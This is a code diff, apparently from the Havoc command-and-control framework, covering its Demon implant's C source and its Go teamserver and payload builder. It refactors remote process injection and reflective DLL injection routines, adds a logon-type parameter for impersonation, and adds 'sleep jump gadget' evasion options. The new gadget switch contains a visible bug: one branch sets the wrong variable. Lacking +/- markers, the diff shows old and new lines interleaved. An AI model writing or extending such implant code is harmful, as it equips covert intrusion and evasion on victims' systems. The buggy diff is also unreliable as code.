PVOID CallbackOutput = NULL;
INT CallbackSize = 0;
if ( ! Instance.Session.Connected ) {
if ( ! Instance->Session.Connected ) {
return;
}
@@ -1414,10 +1414,10 @@ VOID DemonPrintf( PCHAR fmt, ... )
va_start( VaListArg, fmt );
CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg );
CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize );
CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );
CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize );
Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg );
Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg );
va_end( VaListArg );
@@ -1426,7 +1426,7 @@ VOID DemonPrintf( PCHAR fmt, ... )
PackageTransmit( package );
MemSet( CallbackOutput, 0, CallbackSize );
Instance.Win32.LocalFree( CallbackOutput );
Instance->Win32.LocalFree( CallbackOutput );
}
#elif defined(SHELLCODE) && defined(DEBUG)
@@ -1440,33 +1440,33 @@ VOID LogToConsole(
va_list VaListArg = 0;
// have we initialized all the function addresses?
if ( Instance.Win32.AttachConsole == NULL ||
Instance.Win32.vsnprintf == NULL ||
Instance.Win32.GetStdHandle == NULL ||
Instance.Win32.WriteConsoleA == NULL ||
Instance.Win32.LocalAlloc == NULL )
if ( Instance->Win32.AttachConsole == NULL ||
Instance->Win32.vsnprintf == NULL ||
Instance->Win32.GetStdHandle == NULL ||
Instance->Win32.WriteConsoleA == NULL ||
Instance->Win32.LocalAlloc == NULL )
return;
// get the handle to the output console
if ( Instance.hConsoleOutput == NULL )
if ( Instance->hConsoleOutput == NULL )
{
Instance.Win32.AttachConsole( ATTACH_PARENT_PROCESS );
Instance.hConsoleOutput = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE );
if ( ! Instance.hConsoleOutput )
Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS );
Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );
if ( ! Instance->hConsoleOutput )
return;
}
va_start( VaListArg, fmt );
// allocate space for the final string
OutputSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1;
OutputString = Instance.Win32.LocalAlloc( LPTR, OutputSize );
OutputSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1;
OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize );
// write the final string
Instance.Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg );
Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg );
// write it to the console
Instance.Win32.WriteConsoleA( Instance.hConsoleOutput, OutputString, OutputSize, NULL, NULL );
Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL );
DATA_FREE( OutputString, OutputSize );
@@ -1509,7 +1509,7 @@ PROOT_DIR listDir(
}
// allocate the path on the heap to keep stack usage low (given that this function is recursive)
Path = Instance.Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
if ( ! Path )
{
PUTS( "Failed to allocate memory" );
@@ -1521,7 +1521,7 @@ PROOT_DIR listDir(
MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) );
// search for the first file in the folder specified
hFile = Instance.Win32.FindFirstFileW( Path, &FindData );
hFile = Instance->Win32.FindFirstFileW( Path, &FindData );
if ( hFile == INVALID_HANDLE_VALUE )
{
PRINTF( "FindFirstFileW failed for path %ls\n", Path );
@@ -1539,8 +1539,8 @@ PROOT_DIR listDir(
Path[ PathSize ] = 0x00;
// repeat the search
Instance.Win32.FindClose( hFile );
hFile = Instance.Win32.FindFirstFileW( Path, &FindData );
Instance->Win32.FindClose( hFile );
hFile = Instance->Win32.FindFirstFileW( Path, &FindData );
if ( hFile == INVALID_HANDLE_VALUE )
{
PRINTF( "FindFirstFileW failed for path %ls\n", Path );
@@ -1549,7 +1549,7 @@ PROOT_DIR listDir(
}
// allocate the RootDir
RootDir = Instance.Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) );
RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) );
if ( ! RootDir )
{
PUTS( "Failed to allocate memory" );
@@ -1586,7 +1586,7 @@ PROOT_DIR listDir(
// if we are interested in subdirs, remember that we found this directory
if ( IsDir && SubDirs )
{
SubDir = Instance.Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) );
SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) );
if ( ! SubDir )
{
PUTS( "Failed to allocate memory" );
@@ -1637,15 +1637,15 @@ PROOT_DIR listDir(
}
// save this directory or file
DirOrFile = Instance.Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) );
DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) );
if ( ! DirOrFile )
{
PUTS( "Failed to allocate memory" );
goto Cleanup;
}
Instance.Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime );
Instance.Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime );
Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime );
Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime );
DirOrFile->IsDir = IsDir;
@@ -1672,7 +1672,7 @@ PROOT_DIR listDir(
}
LastDirOrFile = DirOrFile;
}
while ( Instance.Win32.FindNextFileW( hFile, &FindData ) );
while ( Instance->Win32.FindNextFileW( hFile, &FindData ) );
// list all subdirs recursively if requested
SubDir = RootSubDir;
@@ -1698,7 +1698,7 @@ PROOT_DIR listDir(
Cleanup:
if ( hFile )
Instance.Win32.FindClose( hFile );
Instance->Win32.FindClose( hFile );
DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
@@ -1,5 +1,5 @@
#include <Crypt/AesCrypt.h>
#include <Core/MiniStd.h>
#include <crypt/AesCrypt.h>
#include <core/MiniStd.h>
#define Nb 4
@@ -1,13 +1,13 @@
#include <Demon.h>
#include <ntstatus.h>
#include <Core/Win32.h>
#include <Core/Package.h>
#include <Core/MiniStd.h>
#include <Inject/Inject.h>
#include <Inject/InjectUtil.h>
#include <Common/Macros.h>
#include <Common/Defines.h>
#include <core/Win32.h>
#include <core/Package.h>
#include <core/MiniStd.h>
#include <inject/Inject.h>
#include <inject/InjectUtil.h>
#include <common/Macros.h>
#include <common/Defines.h>
/*!
* Inject code into a remote process
@@ -65,7 +65,7 @@ DWORD Inject(
}
/* check the architecture matches */
if ( x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
PUTS( "The OS is x86!" )
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
goto END;
@@ -77,14 +77,14 @@ DWORD Inject(
PUTS( "The process target process is x86!" )
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
goto END;
} else if ( ! x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) {
} else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) {
PUTS( "The process target process is x64!" )
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
goto END;
}
/* allocate memory in the remote process */
if ( ! ( Memory = MemoryAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) {
if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) {
PUTS( "[INJECT] Failed allocating memory in remote process" )
goto END;
} else {
@@ -92,7 +92,7 @@ DWORD Inject(
}
/* write payload into remote process memory */
if ( ! ( MemoryWrite( Process, Memory, Payload, Size ) ) ) {
if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) {
PUTS( "[INJECT] Failed to write payload into remote process" )
goto END;
} else {
@@ -100,7 +100,7 @@ DWORD Inject(
}
/* change allocated memory from RW to RX */
if ( ! ( MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) {
if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) {
PUTS( "[INJECT] Failed to change memory protection" )
goto END;
} else {
@@ -111,7 +111,7 @@ DWORD Inject(
if ( Argv && ( Argc > 0 ) )
{
/* allocate memory in the remote process */
if ( ! ( Param = MemoryAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) {
if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) {
PUTS( "[INJECT] Failed allocating argument memory in remote process" )
goto END;
} else {
@@ -119,7 +119,7 @@ DWORD Inject(
}
/* write payload into remote process memory */
if ( ! ( MemoryWrite( Process, Param, Argv, Argc ) ) ) {
if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) {
PUTS( "[INJECT] Failed to write argument into remote process" )
goto END;
} else {
@@ -143,13 +143,13 @@ END:
{
/* free allocated payload */
if ( Memory ) {
MemoryFree( Process, Memory );
MmVirtualFree( Process, Memory );
Memory = NULL;
}
/* free allocated param */
if ( Param ) {
MemoryFree( Process, Param );
MmVirtualFree( Process, Param );
Param = NULL;
}
}
@@ -185,7 +185,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
BOOL HasRDll = FALSE;
DWORD ReturnValue = 0;
SIZE_T BytesWritten = 0;
BOOL x64 = Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE;
BOOL x64 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE;
if( ! DllBuffer || ! DllLength || ! hTargetProcess )
{
@@ -220,7 +220,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
} else {
PUTS( "The DLL does not have a Reflective Loader defined, using KaynLdr" );
HasRDll = FALSE;
FullDll = Instance.Win32.LocalAlloc( LPTR, DllLdrSize + DllLength );
FullDll = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength );
FullDllSize = DllLdrSize + DllLength;
MemCopy( FullDll, DllLdr, DllLdrSize );
MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength );
@@ -232,7 +232,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
PRINTF( "Params: Size:[%d] Pointer:[%p]\n", ParamSize, Parameter )
if ( ParamSize > 0 )
{
MemParamsBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE );
MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE );
if ( MemParamsBuffer )
{
PRINTF( "MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\n", MemParamsBuffer )
@@ -240,7 +240,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
if ( ! NT_SUCCESS( NtStatus ) )
{
PUTS( "NtWriteVirtualMemory: Failed to write memory for parameters" )
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
ReturnValue = NtStatus;
goto Cleanup;
}
@@ -250,14 +250,14 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
else
{
PUTS( "NtAllocateVirtualMemory: Failed to allocate memory for parameters" )
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
ReturnValue = -1;
goto Cleanup;
}
}
// Alloc and write remote library
MemLibraryBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE );
MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE );
if ( MemLibraryBuffer )
{
PUTS( "[+] NtAllocateVirtualMemory: success" );
@@ -271,8 +271,8 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
MemRegionSize = 16384;
BytesWritten = 0;
// NtStatus = Instance.Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect );
if ( MemoryProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) )
// NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect );
if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) )
{
ctx->Parameter = MemParamsBuffer;
PRINTF( "ctx->Parameter: %p\n", ctx->Parameter )
@@ -299,7 +299,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
else
{
PRINTF( "NtWriteVirtualMemory: Failed to write memory for library [%x]\n", NtStatus )
PackageTransmitError( 0x1, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
ReturnValue = NtStatus;
goto Cleanup;
}
@@ -312,7 +312,7 @@ Cleanup:
if ( ! HasRDll && FullDll )
{
MemSet( FullDll, 0, FullDllSize );
NtHeapFree( FullDll );
MmHeapFree( FullDll );
FullDll = NULL;
}
@@ -328,9 +328,9 @@ DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWO
DWORD Result = 0;
if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64
SpawnProc = Instance.Config.Process.Spawn86;
SpawnProc = Instance->Config.Process.Spawn86;
else
SpawnProc = Instance.Config.Process.Spawn64;
SpawnProc = Instance->Config.Process.Spawn64;
/* Meh this is the default */
Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS;
@@ -1,9 +1,9 @@
#include <Demon.h>
#include <Core/MiniStd.h>
#include <Core/Package.h>
#include <Inject/InjectUtil.h>
#include <Common/Defines.h>
#include <core/MiniStd.h>
#include <core/Package.h>
#include <inject/InjectUtil.h>
#include <common/Defines.h>
#ifndef _WIN32
typedef ULONG NTSTATUS;
@@ -1,6 +1,6 @@
#include <Demon.h>
#include <Common/Defines.h>
#include <common/Defines.h>
#ifndef SHELLCODE
/* Export this for rundll32 or any other program that requires and exported functions...
@@ -24,7 +24,7 @@ DLLEXPORT VOID Start( )
DLLEXPORT BOOL WINAPI DllMain(
IN HINSTANCE hDllBase,
IN DWORD Reason,
IN OUT LPVOID Reserved
_Inout_ LPVOID Reserved
) {
PVOID Kernel32 = NULL;
+2 -2
View File
@@ -192,9 +192,9 @@ func (t *Teamserver) Start() {
// start teamserver service
if t.Profile.Config.Service != nil {
logger.Warn("Service api has been disabled for this version.")
logger.Warn("Service api has been disabled for this version.")
// 3rd Party Agent Support Enabled
// 3rd Party Agent Support Enabled
t.Service = service.NewService(t.Server.Engine)
t.Service.Teamserver = t
t.Service.Data.ServerAgents = &t.Agents
+11 -4
View File
@@ -37,7 +37,7 @@ func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 {
FileSize := len(FileData)
// split the file in chunks of DEMON_MAX_RESPONSE_LENGTH
for start := 0; start < FileSize; start += chunkSize {
for start := 0; start <= FileSize; start += chunkSize {
end := start + chunkSize
// necessary check to avoid slicing beyond FileData capacity
@@ -1131,9 +1131,10 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
if val, ok = Optional["Arguments"].(string); ok {
var (
Domain string
User string
Password string
Domain string
User string
Password string
LogonType int
ArrayData []string
)
@@ -1158,11 +1159,17 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
Password = string(val)
}
LogonType, err = strconv.Atoi(ArrayData[3])
if err != nil {
return job, errors.New("Failed to convert LogonType to int: " + err.Error())
}
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Domain),
common.EncodeUTF16(User),
common.EncodeUTF16(Password),
LogonType,
}
logger.Debug(job.Data)
+56 -12
View File
@@ -43,6 +43,12 @@ const (
SLEEPOBF_FOLIAGE = 3
)
const (
SLEEPOBF_BYPASS_NONE = 0
SLEEPOBF_BYPASS_JMPRAX = 1
SLEEPOBF_BYPASS_JMPRBX = 2
)
const (
PROXYLOADING_NONE = 0
PROXYLOADING_RTLREGISTERWAIT = 1
@@ -139,15 +145,14 @@ func NewBuilder(config BuilderConfig) *Builder {
builder.config.Arch = ARCHITECTURE_X64
builder.compilerOptions.SourceDirs = []string{
"Source/Core",
"Source/Crypt",
"Source/Inject",
"Source/Loader",
"Source/Asm",
"src/core",
"src/crypt",
"src/inject",
"src/asm",
}
builder.compilerOptions.IncludeDirs = []string{
"Include",
"include",
}
/*
@@ -194,9 +199,9 @@ func NewBuilder(config BuilderConfig) *Builder {
}
}
builder.compilerOptions.Main.Dll = "Source/Main/MainDll.c"
builder.compilerOptions.Main.Exe = "Source/Main/MainExe.c"
builder.compilerOptions.Main.Svc = "Source/Main/MainSvc.c"
builder.compilerOptions.Main.Dll = "src/main/MainDll.c"
builder.compilerOptions.Main.Exe = "src/main/MainExe.c"
builder.compilerOptions.Main.Svc = "src/main/MainSvc.c"
builder.compilerOptions.Config = config
@@ -333,7 +338,7 @@ func (b *Builder) Build() bool {
}
}
}
CompileCommand += "Source/Demon.c "
CompileCommand += "src/Demon.c "
// add include directories
for _, dir := range b.compilerOptions.IncludeDirs {
@@ -518,7 +523,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte {
new := []byte(b.ProfileConfig.ReplaceStringsX64[old])
// make sure they are the same length
if len(new) < len(old) {
new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...)
new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)
}
if len(new) > len(old) {
logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old))
@@ -539,7 +544,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte {
new := []byte(b.ProfileConfig.ReplaceStringsX86[old])
// make sure they are the same length
if len(new) < len(old) {
new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...)
new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...)
}
if len(new) > len(old) {
logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old))
@@ -563,6 +568,7 @@ func (b *Builder) PatchConfig() ([]byte, error) {
ConfigSpawn64 string
ConfigSpawn32 string
ConfigObfTechnique int
ConfigObfBypass int
ConfigProxyLoading = PROXYLOADING_NONE
ConfigStackSpoof = win32.FALSE
ConfigSyscall = win32.FALSE
@@ -723,6 +729,43 @@ func (b *Builder) PatchConfig() ([]byte, error) {
return nil, errors.New("sleep Obfuscation technique is undefined")
}
if val, ok := b.config.Config["Sleep Jmp Gadget"].(string); ok && len(val) > 0 {
if ConfigObfTechnique != SLEEPOBF_NO_OBF {
switch val {
case "jmp rax":
ConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX
if !b.silent {
b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rax\" has been specified")
}
break
case "jmp rbx":
ConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX
if !b.silent {
b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rbx\" has been specified")
}
break
default:
ConfigObfBypass = SLEEPOBF_BYPASS_NONE
if !b.silent {
b.SendConsoleMessage("Info", "no sleep jump gadget has been specified")
}
break
}
} else {
// if no sleep obfuscation technique has been specified then
// no jmp gadgets are going to be used.
if !b.silent {
b.SendConsoleMessage("Info", "sleep jump gadget option ignored")
}
}
} else {
return nil, errors.New("sleep Obfuscation technique is undefined")
}
if val, ok := b.config.Config["Stack Duplication"].(bool); ok {
if ConfigObfTechnique != SLEEPOBF_NO_OBF {
if val {
@@ -812,6 +855,7 @@ func (b *Builder) PatchConfig() ([]byte, error) {
// bypass techniques
DemonConfig.AddInt(ConfigObfTechnique)
DemonConfig.AddInt(ConfigObfBypass)
DemonConfig.AddInt(ConfigStackSpoof)
DemonConfig.AddInt(ConfigProxyLoading)
DemonConfig.AddInt(ConfigSyscall)